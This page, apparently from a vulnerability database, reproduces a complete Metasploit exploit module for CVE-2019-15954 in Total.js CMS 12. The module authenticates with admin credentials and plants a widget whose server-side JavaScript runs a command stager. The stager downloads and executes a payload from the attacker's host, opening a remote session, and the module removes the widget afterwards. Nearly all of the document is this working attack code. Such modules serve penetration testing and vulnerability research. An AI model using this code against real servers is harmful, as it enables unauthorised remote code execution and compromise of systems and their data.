Lucene search
K

Total.js CMS 12 Widget JavaScript Code Injection

🗓️ 21 Oct 2019 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 198 Views

This module exploits a vulnerability in Total.js CMS. A user with admin permission can embed a malicious JavaScript payload in a widget, leading to remote code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Total.js CMS 12 - Widget JavaScript Code Injection Exploit
22 Oct 201900:00
zdt
ATTACKERKB
CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution
5 Sep 201900:00
attackerkb
Circl
CVE-2019-15954
21 Oct 201920:43
circl
CNVD
Total.js CMS Command Injection Vulnerability
6 Sep 201900:00
cnvd
CVE
CVE-2019-15954
5 Sep 201918:31
cve
Cvelist
CVE-2019-15954
5 Sep 201918:31
cvelist
Exploit DB
Total.js CMS 12 - Widget JavaScript Code Injection (Metasploit)
22 Oct 201900:00
exploitdb
Github Security Blog
Total.js CMS RCE Vulnerability
24 May 202216:55
github
Metasploit
Total.js CMS 12 Widget JavaScript Code Injection
15 Oct 201915:11
metasploit
NVD
CVE-2019-15954
5 Sep 201919:16
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection',  
'Description' => %q{  
This module exploits a vulnerability in Total.js CMS. The issue is that a user with  
admin permission can embed a malicious JavaScript payload in a widget, which is  
evaluated server side, and gain remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Riccardo Krauter', # Original discovery  
'sinn3r' # Metasploit module  
],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],  
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]  
],  
'References' =>  
[  
['CVE', '2019-15954'],  
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],  
['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8000,  
},  
'Notes' =>  
{  
'SideEffects' => [ IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Privileged' => false,  
'DisclosureDate' => '2019-08-30', # Reported to seclist  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),  
OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),  
OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])  
])  
end  
  
class AdminToken  
attr_reader :token  
  
def initialize(cookie)  
@token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first  
end  
  
def blank?  
token.blank?  
end  
end  
  
class Widget  
attr_reader :name  
attr_reader :category  
attr_reader :source_code  
attr_reader :platform  
attr_reader :url  
  
def initialize(p, u, stager)  
@name = "p_#{Rex::Text.rand_text_alpha(10)}"  
@category = 'content'  
@platform = p  
@url = u  
@source_code = %Q|<script total>|  
@source_code << %Q|global.process.mainModule.require('child_process')|  
@source_code << %Q|.exec("sleep 2;#{stager}");|  
@source_code << %Q|</script>|  
end  
end  
  
def check  
code = CheckCode::Safe  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')  
})  
  
unless res  
vprint_error('Connection timed out')  
return CheckCode::Unknown  
end  
  
# If the admin's login page is visited too many times, we will start getting  
# a 401 (unauthorized response). In that case, we only have a header to work  
# with.  
if res.headers['X-Powered-By'].to_s == 'Total.js'  
code = CheckCode::Detected  
end  
  
# If we are here, then that means we can still see the login page.  
# Let's see if we can extract a version.  
html = res.get_html_document  
element = html.at('title')  
return code unless element.respond_to?(:text)  
title = element.text.scan(/CMS v([\d\.]+)/).flatten.first  
return code unless title  
version = Gem::Version.new(title)  
  
if version <= Gem::Version.new('12')  
# If we are able to check the version, we could try the default cred and attempt  
# to execute malicious code and see how the application responds. However, this  
# seems to a bit too aggressive so I'll leave that to the exploit part.  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def auth(user, pass)  
json_body = { 'name' => user, 'password' => pass }.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),  
'ctype' => 'application/json',  
'data' => json_body  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
json_res = res.get_json_document  
cookies = res.get_cookies  
# If it's an array it could be an error, so we are specifically looking for a hash.  
if json_res.kind_of?(Hash) && json_res['success']  
token = AdminToken.new(cookies)  
@admin_token = token  
return token  
end  
fail_with(Failure::NoAccess, 'Invalid username or password')  
end  
  
def create_widget(admin_token)  
platform = target.platform.names.first  
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']  
port = datastore['SRVPORT']  
proto = datastore['SSL'] ? 'https' : 'http'  
payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"  
url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"  
widget = Widget.new(platform, url, generate_cmdstager(  
'Path' => "#{get_resource}/#{payload_name}",  
'temp' => '/tmp',  
'file' => payload_name  
).join(';'))  
  
json_body = {  
'name' => widget.name,  
'category' => widget.category,  
'body' => widget.source_code  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),  
'cookie' => "__admin=#{admin_token.token}",  
'ctype' => 'application/json',  
'data' => json_body  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
res_json = res.get_json_document  
if res_json.kind_of?(Hash) && res_json['success']  
print_good("Widget created successfully")  
else  
fail_with(Failure::Unknown, 'No success message in body')  
end  
  
widget  
end  
  
def get_widget_item(admin_token, widget)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),  
'cookie' => "__admin=#{admin_token.token}",  
'ctype' => 'application/json'  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
res_json = res.get_json_document  
count = res_json['count']  
items = res_json['items']  
  
unless count  
fail_with(Failure::Unknown, 'No count key found in body')  
end  
  
unless items  
fail_with(Failure::Unknown, 'No items key found in body')  
end  
  
items.each do |item|  
widget_name = item['name']  
if widget_name.match(/p_/)  
return item  
end  
end  
  
[]  
end  
  
def clear_widget  
admin_token = get_admin_token  
widget = get_widget  
  
print_status('Finding the payload from the widget list...')  
item = get_widget_item(admin_token, widget)  
  
json_body = {  
'id' => item['id'],  
'picture' => item['picture'],  
'name' => item['name'],  
'icon' => item['icon'],  
'category' => item['category'],  
'datecreated' => item['datecreated'],  
'reference' => item['reference']  
}.to_json  
  
res = send_request_cgi({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),  
'cookie' => "__admin=#{admin_token.token}",  
'ctype' => 'application/json',  
'data' => json_body  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
res_json = res.get_json_document  
if res_json.kind_of?(Hash) && res_json['success']  
print_good("Widget cleared successfully")  
else  
fail_with(Failure::Unknown, 'No success message in body')  
end  
end  
  
def on_request_uri(cli, req)  
print_status("#{cli.peerhost} requesting: #{req.uri}")  
  
if req.uri =~ /p_.+/  
payload_exe = generate_payload_exe(code: payload.encoded)  
print_status("Sending payload to #{cli.peerhost}")  
send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})  
return  
end  
  
send_not_found(cli)  
end  
  
def on_new_session(session)  
clear_widget  
end  
  
# This is kind of for cleaning up the wiget, because we cannot pass it as an  
# argument in on_new_session.  
def get_widget  
@widget  
end  
  
# This is also kind of for cleaning up widget, because we cannot pass it as an  
# argument directly  
def get_admin_token  
@admin_token  
end  
  
def exploit  
user = datastore['TOTALJSUSERNAME']  
pass = datastore['TOTALJSPASSWORD']  
print_status("Attempting to authenticate with #{user}:#{pass}")  
admin_token = auth(user, pass)  
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?  
print_good("Authenticatd as: #{user}:#{pass}")  
print_status("Creating a widget...")  
@widget = create_widget(admin_token)  
super  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation